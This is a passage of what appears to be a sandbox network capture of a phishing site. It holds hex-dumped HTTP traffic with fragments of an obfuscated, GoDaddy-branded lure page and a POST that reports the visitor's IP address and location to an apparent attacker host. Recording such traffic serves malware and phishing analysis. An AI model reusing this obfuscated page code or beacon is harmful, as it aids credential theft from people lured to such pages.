5c 78 34 36 5c 5c 78 32 44 5c 5c 78 33 38 5c 5c Data Ascii: x65\\x6E\\x74\\x73\\x3A\\x20\\x6E\\x6F\\x6E\\x65\\x0A\\x7D\\x20\\x0A\\x20\\x20\\x20\\x20\\x3C\\x2F\\x73\\x74\\x79\\x6C\\x65\\x3E\\x0A\\x20\\x20\\x20\\x20\\x3C\\x6D\\x65\\x74\\x61\\x20\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3D\\x22\\x55\\x54\\x46\\x2D\\x38\\
2024-10-18 09:20:38 UTC	1369	IN	Data Raw: 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 44 5c 5c 78 36 35 5c 5c 78 37 34 5c 5c 78 36 31 5c 5c 78 32 30 5c 5c 78 36 45 5c 5c 78 36 31 5c 5c 78 36 44 5c 5c 78 36 35 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 36 44 5c 5c 78 37 33 5c 5c 78 36 31 5c 5c 78 37 30 5c 5c 78 37 30 5c 5c 78 36 43 5c 5c 78 36 39 5c 5c 78 36 33 5c 5c 78 36 31 5c 5c 78 37 34 5c 5c 78 36 39 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 32 44 5c 5c 78 35 34 5c 5c 78 36 39 5c 5c 78 36 43 5c 5c 78 36 35 5c 5c 78 34 33 5c 5c 78 36 46 5c 5c 78 36 43 5c 5c 78 36 46 5c 5c 78 37 32 5c 5c 78 32 32 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 36 35 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 32 33 5c Data Ascii: \x20\\x20\\x20\\x20\\x3C\\x6D\\x65\\x74\\x61\\x20\\x6E\\x61\\x6D\\x65\\x3D\\x22\\x6D\\x73\\x61\\x70\\x70\\x6C\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x2D\\x54\\x69\\x6C\\x65\\x43\\x6F\\x6C\\x6F\\x72\\x22\\x20\\x63\\x6F\\x6E\\x74\\x65\\x6E\\x74\\x3D\\x22\\x23\
2024-10-18 09:20:38 UTC	1369	IN	Data Raw: 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 5c 5c 78 36 39 5c 5c 78 36 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 36 38 5c 5c 78 36 33 5c 5c 78 37 33 5c 5c 78 32 44 5c 5c 78 36 38 5c 5c 78 36 35 5c 5c 78 36 31 5c 5c 78 36 34 5c 5c 78 36 35 5c 5c 78 37 32 5c 5c 78 32 44 5c 5c 78 36 33 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 36 31 5c 5c 78 36 39 5c 5c 78 36 45 5c 5c 78 36 35 5c 5c 78 37 32 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 Data Ascii: \\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x64\\x69\\x76\\x20\\x69\\x64\\x3D\\x22\\x68\\x63\\x73\\x2D\\x68\\x65\\x61\\x64\\x65\\x72\\x2D\\x63\\x6F\\x6E\\x74\\x61\\x69\\x6E\\x65\\x72\\x22\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x64\\x69\\x76\\x20
2024-10-18 09:20:38 UTC	1369	IN	Data Raw: 45 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 36 35 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 33 43 5c 5c 78 32 46 5c 5c 78 37 33 5c 5c 78 37 30 5c 5c 78 36 31 5c 5c 78 36 45 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 32 46 5c 5c 78 36 31 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 32 46 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 Data Ascii: E\\x20\\x63\\x6F\\x6E\\x74\\x65\\x6E\\x74\\x3C\\x2F\\x73\\x70\\x61\\x6E\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x2F\\x61\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x2F\\x64\\x69\\x76\\x3E\\x0A\\x20\\x20\\x20\\x20\\x2
2024-10-18 09:20:38 UTC	1369	IN	Data Raw: 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 43 5c 5c 78 36 31 5c 5c 78 37 33 5c 5c 78 37 33 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 37 34 5c 5c 78 36 46 5c 5c 78 37 30 5c 5c 78 36 45 5c 5c 78 36 31 5c 5c 78 37 36 5c 5c 78 32 44 5c 5c 78 36 43 5c 5c 78 36 46 5c 5c 78 36 37 5c 5c 78 36 46 5c 5c 78 32 44 5c 5c 78 37 37 5c 5c 78 37 32 5c 5c 78 36 31 5c 5c 78 37 30 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 Data Ascii: 3C\\x64\\x69\\x76\\x20\\x63\\x6C\\x61\\x73\\x73\\x3D\\x22\\x74\\x6F\\x70\\x6E\\x61\\x76\\x2D\\x6C\\x6F\\x67\\x6F\\x2D\\x77\\x72\\x61\\x70\\x22\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x
2024-10-18 09:20:38 UTC	1369	IN	Data Raw: 78 33 43 5c 5c 78 36 36 5c 5c 78 36 39 5c 5c 78 36 37 5c 5c 78 36 33 5c 5c 78 36 31 5c 5c 78 37 30 5c 5c 78 37 34 5c 5c 78 36 39 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 43 5c 5c 78 36 31 5c 5c 78 37 33 5c 5c 78 37 33 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 37 33 5c 5c 78 37 32 5c 5c 78 32 44 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 36 43 5c 5c 78 37 39 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 34 37 5c 5c 78 36 46 5c 5c 78 34 34 5c 5c 78 36 31 5c 5c 78 36 34 5c 5c 78 36 34 5c 5c 78 37 39 5c 5c 78 33 43 5c 5c 78 32 46 5c 5c 78 36 36 5c 5c 78 36 39 5c 5c 78 36 37 5c 5c 78 36 33 5c 5c 78 36 31 5c 5c 78 37 30 5c 5c 78 37 34 5c 5c 78 36 39 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c Data Ascii: x3C\\x66\\x69\\x67\\x63\\x61\\x70\\x74\\x69\\x6F\\x6E\\x20\\x63\\x6C\\x61\\x73\\x73\\x3D\\x22\\x73\\x72\\x2D\\x6F\\x6E\\x6C\\x79\\x22\\x3E\\x47\\x6F\\x44\\x61\\x64\\x64\\x79\\x3C\\x2F\\x66\\x69\\x67\\x63\\x61\\x70\\x74\\x69\\x6F\\x6E\\x3E\\x0A\\x20\\x20\\
2024-10-18 09:20:38 UTC	1369	IN	Data Raw: 5c 78 33 30 5c 5c 78 33 31 5c 5c 78 32 44 5c 5c 78 33 31 5c 5c 78 32 45 5c 5c 78 33 37 5c 5c 78 33 30 5c 5c 78 33 31 5c 5c 78 32 30 5c 5c 78 33 32 5c 5c 78 33 32 5c 5c 78 32 45 5c 5c 78 33 35 5c 5c 78 33 34 5c 5c 78 32 30 5c 5c 78 33 33 5c 5c 78 32 45 5c 5c 78 33 39 5c 5c 78 33 33 5c 5c 78 32 30 5c 5c 78 33 36 5c 5c 78 32 45 5c 5c 78 33 32 5c 5c 78 33 38 5c 5c 78 33 39 5c 5c 78 32 30 5c 5c 78 33 31 5c 5c 78 33 30 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 37 5c 5c 78 33 34 5c 5c 78 32 30 5c 5c 78 33 39 5c 5c 78 32 45 5c 5c 78 33 39 5c 5c 78 33 37 5c 5c 78 33 34 5c 5c 78 32 30 5c 5c 78 33 31 5c 5c 78 33 35 5c 5c 78 32 45 5c 5c 78 33 35 5c 5c 78 33 34 5c 5c 78 33 34 5c 5c 78 32 30 5c 5c 78 33 39 5c 5c 78 32 45 5c 5c 78 33 39 5c 5c 78 33 30 5c 5c 78 33 36 5c Data Ascii: \x30\\x31\\x2D\\x31\\x2E\\x37\\x30\\x31\\x20\\x32\\x32\\x2E\\x35\\x34\\x20\\x33\\x2E\\x39\\x33\\x20\\x36\\x2E\\x32\\x38\\x39\\x20\\x31\\x30\\x2E\\x30\\x37\\x34\\x20\\x39\\x2E\\x39\\x37\\x34\\x20\\x31\\x35\\x2E\\x35\\x34\\x34\\x20\\x39\\x2E\\x39\\x30\\x36\
2024-10-18 09:20:38 UTC	1369	IN	Data Raw: 5c 5c 78 32 45 5c 5c 78 33 36 5c 5c 78 33 30 5c 5c 78 33 36 5c 5c 78 36 31 5c 5c 78 33 32 5c 5c 78 33 34 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 39 5c 5c 78 33 32 5c 5c 78 32 30 5c 5c 78 33 32 5c 5c 78 33 34 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 39 5c 5c 78 33 32 5c 5c 78 32 30 5c 5c 78 33 30 5c 5c 78 32 30 5c 5c 78 33 30 5c 5c 78 32 30 5c 5c 78 33 30 5c 5c 78 32 44 5c 5c 78 33 34 5c 5c 78 32 45 5c 5c 78 33 32 5c 5c 78 33 32 5c 5c 78 33 38 5c 5c 78 32 30 5c 5c 78 33 35 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 38 5c 5c 78 34 33 5c 5c 78 33 38 5c 5c 78 32 45 5c 5c 78 33 36 5c 5c 78 33 39 5c 5c 78 33 37 5c 5c 78 32 30 5c 5c 78 33 31 5c 5c 78 33 35 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 38 5c 5c 78 33 36 5c 5c 78 32 30 5c 5c 78 33 37 5c 5c 78 32 45 Data Ascii: \\x2E\\x36\\x30\\x36\\x61\\x32\\x34\\x2E\\x30\\x39\\x32\\x20\\x32\\x34\\x2E\\x30\\x39\\x32\\x20\\x30\\x20\\x30\\x20\\x30\\x2D\\x34\\x2E\\x32\\x32\\x38\\x20\\x35\\x2E\\x30\\x38\\x43\\x38\\x2E\\x36\\x39\\x37\\x20\\x31\\x35\\x2E\\x30\\x38\\x36\\x20\\x37\\x2E

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:20:39 UTC	660	OUT	GET / HTTP/1.1 Host: share.nuclino.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:20:40 UTC	1032	IN	HTTP/1.1 404 Not Found Server: Cowboy Report-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1729243240&sid=c4c9725f-1ab0-44d8-820f-430df2718e11&s=uaLwxT1x6BLi7phjjBy9cOHMMwC86yLe%2Bgb9a05njq0%3D"}]} Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1729243240&sid=c4c9725f-1ab0-44d8-820f-430df2718e11&s=uaLwxT1x6BLi7phjjBy9cOHMMwC86yLe%2Bgb9a05njq0%3D Nel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]} Connection: close Cross-Origin-Opener-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Content-Type: text/html; charset=utf-8 Content-Length: 9 Etag: W/"9-R1yEhnOj95+nePAcK9WnIdTEFwc" Date: Fri, 18 Oct 2024 09:20:40 GMT Via: 1.1 vegur
2024-10-18 09:20:40 UTC	9	IN	Data Raw: 4e 6f 74 20 66 6f 75 6e 64 Data Ascii: Not found

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:20:42 UTC	558	OUT	OPTIONS /report/v4?s=bxIG1NJBiGgGMhz1wqqIVAyXzWfVq%2Bx5KVGM0EUnCcCOH8QCy2XcxtL61r1%2FzTfJnWMjB06EgnMQqVVNB1oa9Xh%2BJx%2FW0qQz11AJW1kH0itDgJhCxeVOCQiyNf8235ACdpjU2xd8NopQKA4J HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://ii64j0n4olj.tkllop.online Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:20:42 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 18 Oct 2024 09:20:42 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:20:43 UTC	490	OUT	POST /report/v4?s=bxIG1NJBiGgGMhz1wqqIVAyXzWfVq%2Bx5KVGM0EUnCcCOH8QCy2XcxtL61r1%2FzTfJnWMjB06EgnMQqVVNB1oa9Xh%2BJx%2FW0qQz11AJW1kH0itDgJhCxeVOCQiyNf8235ACdpjU2xd8NopQKA4J HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 470 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:20:43 UTC	470	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 31 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 35 33 33 36 2c 22 6d 65 74 68 6f 64 22 3a 22 50 4f 53 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 70 75 62 2d 39 36 62 39 62 35 65 38 33 36 62 65 34 36 65 39 61 64 35 63 65 39 36 38 30 31 66 61 66 35 61 64 2e 72 32 2e 64 65 76 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 35 37 2e 31 34 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 32 30 30 2c 22 74 79 70 65 22 3a 22 61 62 61 6e 64 6f 6e 65 64 22 7d 2c 22 Data Ascii: [{"age":1,"body":{"elapsed_time":5336,"method":"POST","phase":"application","protocol":"http/1.1","referrer":"https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/","sampling_fraction":1.0,"server_ip":"104.21.57.143","status_code":200,"type":"abandoned"},"
2024-10-18 09:20:43 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 18 Oct 2024 09:20:43 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:20:46 UTC	760	OUT	POST /obufsssssssscaaatoion/ HTTP/1.1 Host: ii64j0n4olj.tkllop.online Connection: keep-alive Content-Length: 107 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:20:46 UTC	107	OUT	Data Raw: 50 61 67 65 54 79 70 65 3d 4e 6f 72 6d 61 6c 26 4e 41 4d 45 4f 46 54 48 45 47 55 59 3d 44 61 6b 6f 6c 6f 2e 30 30 34 2e 42 61 62 61 26 69 70 3d 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 26 63 69 74 79 3d 44 61 6c 6c 61 73 26 63 6f 75 6e 74 72 79 3d 55 6e 69 74 65 64 2b 53 74 61 74 65 73 2b 6f 66 2b 41 6d 65 72 69 63 61 Data Ascii: PageType=Normal&NAMEOFTHEGUY=Dakolo.004.Baba&ip=155.94.241.186&city=Dallas&country=United+States+of+America
2024-10-18 09:20:46 UTC	744	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 09:20:46 GMT Content-Type: application/json Content-Length: 2452406 Connection: close X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin access-control-allow-origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vuv7Dge5PkigwMeHWSu%2FGTo8JJh00nZHxNI0Q%2BZdd4jdW4TJ9sWLZa%2FQs8rco5xoJD%2FaTizMsODU5p3%2BF877Y41nYxBBxx8Yqpb81UQx6DYjLbRunLYL2gXM3CgmpHR9%2Bihf6kBXMBPK0wGX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d4774502b8b3476-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 09:20:46 UTC	1369	IN	Data Raw: 7b 22 6f 75 74 70 75 74 22 3a 20 22 76 61 72 20 5f 30 78 31 64 36 38 3d 5b 5c 22 5c 5c 78 37 33 5c 5c 78 36 38 5c 5c 78 36 39 5c 5c 78 36 36 5c 5c 78 37 34 5c 22 2c 5c 22 5c 5c 78 37 30 5c 5c 78 37 35 5c 5c 78 37 33 5c 5c 78 36 38 5c 22 2c 5c 22 5c 5c 78 30 41 5c 5c 78 30 41 5c 5c 78 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 5c 5c 78 36 39 5c 5c 78 36 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 34 37 5c 5c 78 36 46 5c 5c 78 36 34 5c 5c 78 36 31 5c 5c 78 36 34 5c 5c 78 36 34 5c 5c 78 37 39 5c 5c 78 34 38 5c 5c 78 37 34 5c 5c 78 36 44 5c 5c 78 36 43 5c 5c 78 32 32 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 43 5c 5c 78 36 31 5c 5c 78 37 33 5c 5c 78 37 33 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 36 36 5c 5c 78 36 46 5c 5c 78 36 46 5c 5c 78 Data Ascii: {"output": "var _0x1d68=[\"\\x73\\x68\\x69\\x66\\x74\",\"\\x70\\x75\\x73\\x68\",\"\\x0A\\x0A\\x3C\\x64\\x69\\x76\\x20\\x69\\x64\\x3D\\x22\\x47\\x6F\\x64\\x61\\x64\\x64\\x79\\x48\\x74\\x6D\\x6C\\x22\\x20\\x63\\x6C\\x61\\x73\\x73\\x3D\\x22\\x66\\x6F\\x6F\\x
2024-10-18 09:20:46 UTC	1369	IN	Data Raw: 78 36 45 5c 5c 78 37 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 44 5c 5c 78 36 35 5c 5c 78 37 34 5c 5c 78 36 31 5c 5c 78 32 30 5c 5c 78 36 45 5c 5c 78 36 31 5c 5c 78 36 44 5c 5c 78 36 35 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 37 36 5c 5c 78 36 39 5c 5c 78 36 35 5c 5c 78 37 37 5c 5c 78 37 30 5c 5c 78 36 46 5c 5c 78 37 32 5c 5c 78 37 34 5c 5c 78 32 32 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 36 35 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 37 37 5c 5c 78 36 39 5c 5c 78 36 34 5c 5c 78 37 34 5c 5c 78 36 38 5c 5c 78 33 44 5c 5c 78 36 34 5c 5c 78 36 35 5c 5c 78 37 36 5c 5c Data Ascii: x6E\\x74\\x3D\\x22\\x22\\x3E\\x0A\\x20\\x20\\x20\\x20\\x3C\\x6D\\x65\\x74\\x61\\x20\\x6E\\x61\\x6D\\x65\\x3D\\x22\\x76\\x69\\x65\\x77\\x70\\x6F\\x72\\x74\\x22\\x20\\x63\\x6F\\x6E\\x74\\x65\\x6E\\x74\\x3D\\x22\\x77\\x69\\x64\\x74\\x68\\x3D\\x64\\x65\\x76\\
2024-10-18 09:20:46 UTC	1369	IN	Data Raw: 5c 78 32 30 5c 5c 78 36 38 5c 5c 78 37 32 5c 5c 78 36 35 5c 5c 78 36 36 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 36 38 5c 5c 78 37 34 5c 5c 78 37 34 5c 5c 78 37 30 5c 5c 78 37 33 5c 5c 78 33 41 5c 5c 78 32 46 5c 5c 78 32 46 5c 5c 78 36 39 5c 5c 78 36 44 5c 5c 78 36 37 5c 5c 78 33 36 5c 5c 78 32 45 5c 5c 78 37 37 5c 5c 78 37 33 5c 5c 78 36 39 5c 5c 78 36 44 5c 5c 78 36 37 5c 5c 78 32 45 5c 5c 78 36 33 5c 5c 78 36 46 5c 5c 78 36 44 5c 5c 78 32 46 5c 5c 78 37 35 5c 5c 78 37 38 5c 5c 78 32 46 5c 5c 78 36 36 5c 5c 78 36 31 5c 5c 78 37 36 5c 5c 78 36 39 5c 5c 78 36 33 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 32 46 5c 5c 78 36 31 5c 5c 78 37 30 5c 5c 78 37 30 5c 5c 78 36 43 5c 5c 78 36 35 5c 5c 78 32 44 5c 5c 78 36 39 5c 5c 78 36 33 5c 5c 78 36 46 5c 5c 78 36 45 5c Data Ascii: \x20\\x68\\x72\\x65\\x66\\x3D\\x22\\x68\\x74\\x74\\x70\\x73\\x3A\\x2F\\x2F\\x69\\x6D\\x67\\x36\\x2E\\x77\\x73\\x69\\x6D\\x67\\x2E\\x63\\x6F\\x6D\\x2F\\x75\\x78\\x2F\\x66\\x61\\x76\\x69\\x63\\x6F\\x6E\\x2F\\x61\\x70\\x70\\x6C\\x65\\x2D\\x69\\x63\\x6F\\x6E\
2024-10-18 09:20:46 UTC	1369	IN	Data Raw: 5c 5c 78 37 34 5c 5c 78 36 35 5c 5c 78 37 38 5c 5c 78 37 34 5c 5c 78 32 44 5c 5c 78 36 31 5c 5c 78 36 33 5c 5c 78 37 34 5c 5c 78 36 39 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 32 30 5c 5c 78 37 35 5c 5c 78 37 38 5c 5c 78 32 44 5c 5c 78 36 32 5c 5c 78 37 35 5c 5c 78 37 34 5c 5c 78 37 34 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 32 44 5c 5c 78 37 33 5c 5c 78 36 35 5c 5c 78 36 33 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 36 34 5c 5c 78 36 31 5c 5c 78 37 32 5c 5c 78 37 39 5c 5c 78 32 32 5c 5c 78 32 30 5c 5c 78 36 38 5c 5c 78 37 32 5c 5c 78 36 35 5c 5c 78 36 36 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 32 33 5c 5c 78 36 44 5c 5c 78 36 31 5c 5c 78 36 39 5c 5c 78 36 45 5c 5c 78 32 32 5c 5c 78 32 30 5c 5c 78 36 34 5c 5c 78 36 31 5c 5c 78 37 34 5c 5c 78 36 31 5c 5c 78 32 44 Data Ascii: \\x74\\x65\\x78\\x74\\x2D\\x61\\x63\\x74\\x69\\x6F\\x6E\\x20\\x75\\x78\\x2D\\x62\\x75\\x74\\x74\\x6F\\x6E\\x2D\\x73\\x65\\x63\\x6F\\x6E\\x64\\x61\\x72\\x79\\x22\\x20\\x68\\x72\\x65\\x66\\x3D\\x22\\x23\\x6D\\x61\\x69\\x6E\\x22\\x20\\x64\\x61\\x74\\x61\\x2D
2024-10-18 09:20:46 UTC	1369	IN	Data Raw: 43 5c 5c 78 37 35 5c 5c 78 36 39 5c 5c 78 36 34 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 43 5c 5c 78 36 31 5c 5c 78 37 33 5c 5c 78 37 33 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 36 36 5c 5c 78 36 43 5c 5c 78 36 35 5c 5c 78 37 38 5c 5c 78 32 44 5c 5c 78 37 32 5c 5c 78 36 46 5c 5c 78 37 37 5c 5c 78 32 30 5c 5c 78 36 34 5c 5c 78 32 44 5c 5c 78 36 36 5c 5c 78 36 43 5c 5c 78 36 35 5c 5c 78 37 38 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 Data Ascii: C\\x75\\x69\\x64\\x22\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x64\\x69\\x76\\x20\\x63\\x6C\\x61\\x73\\x73\\x3D\\x22\\x66\\x6C\\x65\\x78\\x2D\\x72\\x6F\\x77\\x20\\x64\\x2D\\x66\\x6C\\x65\\x78\\x22\\x3E\\x0A\\x2
